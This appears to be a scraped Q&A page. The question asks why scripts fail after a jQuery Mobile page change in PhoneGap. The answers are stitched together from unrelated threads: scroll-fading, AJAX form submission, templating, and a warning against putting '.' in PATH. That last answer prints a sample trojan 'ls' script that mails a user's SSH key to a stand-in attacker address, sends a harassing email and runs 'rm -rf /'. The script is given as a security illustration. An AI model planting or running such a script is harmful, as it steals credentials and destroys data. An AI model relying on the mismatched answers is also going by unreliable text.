Asked  7 Months ago    Answers:  5   Viewed   32 times

I have used $.mobile.changepage to do the redirect in my phonegap+jquerymobile projects. However what makes me confused is that I need to put the script of all the pages to the same file index.html. If not, the redirect page can not execute the function in its header.

for example, my index.html seem to be $(document).bind("deviceready",function(){$.mobile.changepage("test.html");})

then, my device will redirect to test.html which seem to be

$("#btnTest").click(function(){alert("123");})
<button id="btnTest">Test</button>

However, the script will never execute in test.html. Then I put the script to index.html, what I expect to be is done. Whatever, if I put all the script to the same page, the project will become harder and harder to be preserved. Appreciated for your help.

 Answers

59

Intro

This article can also be found HERE as a part of my blog.

How jQuery Mobile handles page changes

To understand this situation you need to understand how jQuery Mobile works. It uses ajax to load other pages.

First page is loaded normally. Its HEAD and BODY is loaded into the DOM, and they are there to await other content. When second page is loaded, only its BODY content is loaded into the DOM. To be more precise, even BODY is not fully loaded. Only first div with an attribute data-role="page" will be loaded, everything else is going to be discarded. Even if you have more pages inside a BODY only first one is going to be loaded. This rule only applies to subsequent pages, if you have more pages in an initial HTML all of them will be loaded.

That's why your button is show successfully but click event is not working. Same click event whose parent HEAD was disregarded during the page transition.

Here's an official documentation: http://jquerymobile.com/demos/1.2.0/docs/pages/page-links.html

Unfortunately you are not going to find this described in their documentation. Ether they think this is a common knowledge or they forgot to describe this like my other topics. (jQuery Mobile documentation is big but lacking many things).

Solution 1

In your second page, and every other page, move your SCRIPT tag into the BODY content, like this:

<body>
    <div data-role="page">
        // And rest of your HTML content
        <script>
            // Your javascript will go here
        </script>
    </div>
</body>

This is a quick solution but still an ugly one.

Working example can be found in my other answer here: Pageshow not triggered after changepage

Another working example: Page loaded differently with jQuery-mobile transition

Solution 2

Move all of your javascript into the original first HTML. Collect everything and put it inside a single js file, into a HEAD. Initialize it after jQuery Mobile has been loaded.

<head>
    <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; minimum-scale=1.0; user-scalable=no; target-densityDpi=device-dpi"/>
    <link rel="stylesheet" href="http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.css" />
    <script src="http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.js"></script>    
    <script src="index.js"></script> // Put your code into a new file
</head>

In the end I will describe why this is a part of a good solution.

Solution 3

Use rel="external" in your buttons and every elements you are using to change page. Because of it ajax is not going to be used for page loading and your jQuery Mobile app will behave like a normal web application. Unfortunately this is not a good solution in your case. Phonegap should never work as a normal web app.

<a href="#second" class="ui-btn-right" rel="external">Next</a>

Official documentation, look for a chapter: Linking without Ajax

Realistic solution

Realistic solution would use Solution 2. But unlike solution 2, I would use that same index.js file and initialize it inside a HEAD of every possible other page.

Now you can ask me WHY?

Phonegap like jQuery Mobile is buggy, and sooner or later there's going to be an error and your app will fail (including loaded DOM) if your every js content is inside a single HTML file. DOM could be erased and Phonegap will refresh your current page. If that page don't have javascript that it will not work until it is restarted.

Final words

This problem can be easily fixed with a good page architecture. If anyone is interested I have wrote an ARTICLE about good jQuery Mobile page architecture. In a nut shell I am discussing that knowledge of how jQuery Mobile works is the most important thing you need to know before you can successfully create you first app.

Tuesday, June 1, 2021
 
cegfault
answered 7 Months ago
71

working exemple with starting and ending point here: http://jsfiddle.net/z7E9u/1/

I copy paste basic code here

    var fadeStart=100 // 100px scroll or less will equiv to 1 opacity
    ,fadeUntil=200 // 200px scroll or more will equiv to 0 opacity
    ,fading = $('#fading')
;

$(window).bind('scroll', function(){
    var offset = $(document).scrollTop()
        ,opacity=0
    ;
    if( offset<=fadeStart ){
        opacity=1;
    }else if( offset<=fadeUntil ){
        opacity=1-offset/fadeUntil;
    }
    fading.css('opacity',opacity).html(opacity);
});
Wednesday, June 30, 2021
 
ManojGeek
answered 5 Months ago
96

I'm not sure why you're seeing undefined, but I noticed you are not preventing the default submit action. so your page will still submit rather than executing JS.

You'll need to do a couple things:

  1. Prevent the default action (ie the submission)
  2. Serialize your form data and submit it via ajax.

So in code it would look something like this:

$(document).ready(function() { 
    //Cache DOM reference
    var form = $("#contactus");

    form.submit(function(event) {
        //Prevent the form from regular (non-js) submission
        event.preventDefault();

        //Serialize your data, using jQuery to make it easer
        var data = form.serialize();

        //Submit via ajax
        $.post(
          form.attr('action'),
          data,
          function(response) {
            //You should modify your PHP to return a success or error code, then
            //handle appropriately here - eg if (response === 'success") {...
          }    
        );

     });

});
Friday, July 30, 2021
 
akosch
answered 4 Months ago
36

You may need a kind of templating, you can do it by yourself or use a consolidated approach. Just search the internet for "jQuery + template" and this will give you an idea of the many possibilities for such a task. You have REALLY a lot of ways to achieve what you need,

If you need interaction, two-way binding and a great SO community of supporters, IMHO knockout.js (or similar) is a good choiche, as already pointed out in a previous answer.

If you just only need to display data in a simple and straightforward manner, nano is the smallest template engine you could find, so, here is a simple JQM stub with two pages using this approach:

var all = [], current = {};

var listTemplate = [
  '<li class="ui-first-child ui-last-child">',
  '<a href="#page-card" data-id="{id}" class="ui-btn ui-btn-icon-right ui-icon-carat-r">',
  '<h2>{name}</h2>',
  '<p><strong>{address.city}</strong></p>',
  '<p>{email}</p>',
  '<p class="ui-li-aside">id: <strong>{id}</strong></p>',
  '</a>',
  '</li>'
].join("");

var cardTemplate = [
  '<h3 class="ui-bar ui-bar-a ui-corner-all">{name}</h3>',
  '<div class="ui-body ui-body-a ui-corner-all">',
  '<p>{email}</p>',
  '<p>{website}</p>',
  '<p>{phone}</p>',
  '<p>{address.street}</p>',
  '<p>{address.city}</p>',
  '</div>'
].join("");

function nano(template, data) {
  return template.replace(/{([w.]*)}/g, function(str, key) {
    var keys = key.split("."), v = data[keys.shift()];
    for (i = 0, l = keys.length; i < l; i++) { v = v[keys[i]]; }
    return (typeof v !== "undefined" && v !== null) ? v : "";
  });
}

$(document).on("vclick", "#page-list li>a", function() {
  var id = $(this).data("id");
  current = $.grep(all, function(item) {
    return item.id == id;
  })[0];
});

$(document).on("pagecreate", "#page-list", function() {
  var $ul = $(this).find("ul");
  $.ajax({
    url: "https://jsonplaceholder.typicode.com/users",
    method: 'GET',
    crossDomain: true,
    dataType: "jsonp",
    complete: function() {
      $ul.listview().listview("refresh");
    },
    success: function(result) {
      all = result;
      $.each(all, function(i, item) {
        $ul.append(nano(listTemplate, item))
      });
    }
  });
});

$(document).on("pagebeforeshow", "#page-card", function() {
  $(this).find("[data-role=content]").empty().append(nano(cardTemplate, current)).trigger("updatelayout");
});
<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
  <link rel="stylesheet" href="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.css">
  <script src="https://code.jquery.com/jquery-1.11.2.min.js"></script>
  <script src="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"></script>
</head>

<body>
  <div data-role="page" id="page-list">
    <div data-theme="a" data-role="header" data-position="fixed">
      <h3>Users</h3>
    </div>
    <div data-role="content">
      <ul data-role="listview" data-inset="true" data-filter="true">
      </ul>
    </div>
  </div>
  <div data-role="page" id="page-card">
    <div data-theme="a" data-role="header" data-position="fixed">
      <h3>Details</h3>
      <a href="#" data-rel="back" class="ui-btn-left">Back</a>
    </div>
    <div data-role="content">
    </div>
  </div>
</body>

</html>
Friday, July 30, 2021
 
Jens
answered 4 Months ago
10

I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .

For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.

Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

  1. Add your own ~/bin directory, and place your own binaries in there.

    mkdir ~/bin
    vi ~/bin/highest
    
  2. Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

    export PATH=$PATH:~/bin

  3. To verify that highest is your path, do this:

    bash$ which highest
    /Users/stefanl/bin/highest
    
Saturday, November 27, 2021
 
Eric D
answered 3 Days ago
Only authorized users can answer the question. Please sign in first, or register a free account.
Not the answer you're looking for? Browse other questions tagged :  
Share